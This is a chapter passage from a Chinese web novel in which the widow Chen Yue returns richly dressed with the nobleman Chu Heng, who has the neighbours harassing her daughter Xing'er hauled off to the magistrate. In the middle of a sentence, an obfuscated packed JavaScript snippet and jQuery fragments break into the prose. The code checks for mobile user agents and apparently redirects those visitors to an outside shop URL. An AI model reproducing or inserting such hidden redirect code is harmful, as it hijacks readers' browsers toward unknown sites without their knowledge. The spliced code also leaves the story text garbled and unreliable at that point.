“砰!”
一声闷响。
刚才还想伸着咸猪手去拽陈杏儿的二癞子,像是被无形的巨锤狠狠砸中了胳膊。
那条粗壮的手臂瞬间呈现出一个诡异的扭曲角度,连带着他整个人都被这股大力带得踉跄几步,一屁股墩坐在了泥地上。
“哎哟!我的手!断了断了!”
二癞子杀猪般的嚎叫声瞬间撕裂了刚才还算嘈杂的空气。
一把玄铁剑鞘,静静地躺在他脚边,上面刻着的暗纹在阳光下闪着冷冽的寒光,一看这就不是凡品。
原本围着看热闹、恨不得把陈家母女脊梁骨戳断的街坊邻居们,像是被这突如其来的变故掐住了脖子,所有的窃窃私语戛然而止。
大伙儿顺着剑鞘飞来的方向望去。
只见巷口不知何时停了一辆马车,那马车宽大,用的是上好的沉香木,连车帘子都是此时阳光下泛着金光的流云锦。
车旁,立着两排面无表情的黑衣侍卫,个个腰间佩刀,浑身散发着一股生人勿近的肃杀之气。
而在侍卫中间,缓缓走来两个人。
走在前面的女子,步步生莲。
她穿了一身烟青色的云缎长裙,那是眼下最时兴的料子,光泽如水波流动,裙摆处绣着大朵大朵的白玉兰,随着走动仿佛真花绽放。
发髻梳得一丝不苟,斜插着一支通体翠绿的玉簪,那玉色润得像是要滴出水来,哪怕是不懂行的乡下妇人,也能一眼瞧出这玩意儿价值连城。
这哪里还是那个穿着打补丁粗布衣裳、整日低眉顺眼给人浆洗衣服的寡妇陈月?
这分明是哪家大户走失多年的少奶奶,不,甚至比那是少奶奶还要贵气几分。
李家嫂子张大了嘴,下巴差点没脱臼。
刚才还骂得起劲的几个妇人,下意识地往后缩了缩,把沾满泥灰的鞋往裙摆里藏。
陈月走得不快,但每一步都像是踩在众人的心尖上。
她那张往日里总是笼罩着一层愁云惨雾的脸,如今如同拨云见日,眉眼间的风情被这一身华服衬托得淋漓尽致,美得让人不敢直视。
二癞子疼得满头冷汗,在地上打滚,眼角余光瞥见有人过来,正要破口大骂,待看清来人,到了嘴边的脏话硬生生卡在了喉咙里。
他眨巴了两下绿豆眼,像是见了鬼。
“陈……陈月?”
他不敢认。
二癞子媳妇也是个没眼力见的,虽然觉得眼前这阵仗有点吓人,但那刻在骨子里的贪婪还是占了上风。
她一听是陈月,胆子又肥了。
既然是陈月,那就还是那个任人拿捏的软柿子!
“好啊!原来是你这个小浪蹄子回来了!”二癞子媳妇儿叉着腰,指着陈月的鼻子就要开骂,“你看看你把他打成什么样了?啊?大家伙儿都看着呢,杀人了这是!正好,你这身行头值不少钱吧?赔钱!没有个五十两银子,这事儿没完!”
二癞子一听这话,也顾不上疼了,那是五两变五十两的买卖啊!
二癞子媳妇儿的手还在半空中指指点点,突然被人猛地拽了一把,力道之大,差点让她把舌头咬断。
“闭嘴!你不想活了!”
王大娘正要发作,却见拽她的人是自家男人,二癞子此刻正哆哆嗦嗦地往后退,眼神惊恐地盯着陈月——准确地说,是盯着陈月身侧那个男人。
众人刚才被陈月的大变活人给震住了,这会儿才分出神来打量她身边的男子。
那是一个极其高大的年轻男人。
一身玄色锦袍,袖口和领口用金线绣着繁复的暗纹,面容英俊,剑眉入鬓,鼻梁高挺,只是此刻那双狭长的凤眼正半垂着,透出一股让人如坠冰窟的寒意。
他就那么漫不经心地站在那里,手里把玩着一枚成色极好的玉扳指,却像是一座大山压了下来。
刚才那把剑鞘,显然是这人身边的侍卫扔出来的。
二癞子虽然混,但能在市井里混这么久没被打死,全靠那一丁点儿看人的本事。
“这……这位大爷……”二癞子结结巴巴,腿肚子开始转筋。
“娘!”
一声带着哭腔的呼喊打破了这死寂般的压抑。
陈杏儿再也装不出刚才那副凶狠模样,此时此刻,她只是个受了天大委屈的孩子。
她迈着小短腿,像个小炮弹一样冲进了陈月的怀里。
“娘!你可算回来了!”
陈杏儿把脸埋在陈月那昂贵的云缎料子上,眼泪鼻涕全蹭了上去,小手死死抓着陈月的衣袖,生怕一松手娘亲又不见了。
“他们……他们抢我的钱!那是你给我的钱,他们非说是偷的!二癞子还要打我!呜呜呜……”
小姑娘告状告得理直气壮,字字句句都透着一股子找到了靠山的硬气。
“还有那个李婶子,她说你在外面不检点,说你的钱脏!娘,我好想你啊,你怎么才回来啊……”
陈月原本还端着的仪态,在女儿扑进怀里的那一刻瞬间崩塌。
她蹲下身,颤抖着手抚摸着女儿有些凌乱的头发,看着杏儿红通通的眼眶,还有袖口处因为拉扯而裂开的线头,心都要碎了。
“杏儿,是娘不好,娘回来晚了。”
陈月的眼眶瞬间红了。
美人落泪,那是连石头心都能给化了。
她本就生得柔美,如今这一哭,梨花带雨,那双含情的眸子里蓄满了水光,欲坠不坠,却又透着一股子让人心疼的破碎感。
她没有嚎啕大哭,只是无声地掉着眼泪,一边给杏儿擦脸,一边紧紧抱着孩子。
“不哭,杏儿不哭,娘在这儿呢,谁也不能欺负你了。”
这一幕,看得周围几个心软的妇人鼻子也有些发酸。
但有一个人,心疼得比谁都厉害。
楚珩看着陈月掉下来的眼泪,只觉得心口像是被人用钝刀子割了一下,烦躁得想杀人。
他费尽心思把人哄得开开心心带回来,就是为了让她再哭一场的?
楚珩眉头紧锁,大步走上前,自然而然地伸出手,用指腹轻轻拭去陈月眼角的泪珠。
那动作轻柔得不可思议,仿佛他在擦拭什么稀世珍宝。
“别哭了。”
他声音低沉,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378344|200137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带着一丝不易察觉的笨拙和讨好,“眼睛哭肿了,明日怎么见人?”
陈月吸了吸鼻子,有些不好意思地偏过头,却被楚珩强硬地扳了回来。
“谁惹的,处理了便是,值得你掉金豆子?”
楚珩转过头,看向二癞子那群人的时候,脸上的柔情瞬间消失殆尽,取而代之的是那种尸山血海里滚出来的戾气。
“来人。”
声音不大,却透着股森森寒气。
“在!”
两名黑衣侍卫上前。
楚珩漫不经心地理了理袖口,眼皮都没抬一下:“光天化日,强抢民女财物,还意图伤人。送去府衙,告诉知府,让他按律严办,最好是查查这两人以前有没有什么底子,一并清算。”
二癞子和他媳妇儿一听“府衙”、“严办”,吓得两腿一软,噗通一声跪在了地上。
“大老爷饶命啊!我们就是开个玩笑!真是玩笑啊!”
“杏儿!杏儿丫头你快帮说说好话,二叔平日里对你不错啊!”
二癞子想爬过来求情,被侍卫一脚踹翻,像拖死狗一样往外拖。
“诬陷良家妇女名节,也是罪。”楚珩目光冷冷地扫过刚才嘴碎的李家嫂子。
李家嫂子白眼一翻,直接吓晕了过去。
周围的街坊们一个个噤若寒蝉,连大气都不敢出,恨不得原地隐身。
也不晓得陈月这是找了个什么厉害人物。
楚珩处理完这些碍眼的苍蝇,转头又变了一副面孔。
他蹲下身,视线与陈杏儿平齐。
“好了,坏人都抓走了。”
楚珩看着眼前这个粉雕玉琢、虽然哭花了脸但依然能看出美人胚子的小姑娘,心里难得生出几分爱屋及乌的柔软。
这就是她的女儿。
这眼睛,这鼻子,跟陈月简直是一个模子里刻出来的。
陈月脸上一红,嗔怪地看了他一眼,那眼神里并没有多少惧怕,反而透着一股子寻常夫妻间的亲昵。
陈杏儿吸溜了一下鼻涕,止住了哭声。
她一双大眼睛滴溜溜地转,先是看了看自家变得跟仙女一样的娘亲,又看了看眼前这个高大英俊、把坏人治得服服帖帖的男人。
小姑娘心里的小算盘打得噼里啪啦响。
这男人看着真有钱,衣服上的金线都闪瞎眼了。
而且长得真好看,整个京城她就没见过比眼前男人还好看的人了。
最重要的是,他对娘亲好,还帮自己出气!
陈杏儿一手拉着陈月的手,仰起头,一点也不认生地盯着楚珩看。
“叔叔,你是谁呀?”
声音脆生生的,还带着点刚哭过的鼻音,听着让人心软。
楚珩挑了挑眉,嘴角勾起一抹玩味的弧度:“我是谁不重要,重要的是,以后谁再敢欺负你们娘俩,我就让人把他们的牙都敲掉。”
陈杏儿眼睛一亮。
只是……
小姑娘歪着脑袋,越看这张脸越觉得眼熟。
这眉毛,这眼睛,尤其是笑起来那种稍微有点欠揍又有点好看的感觉……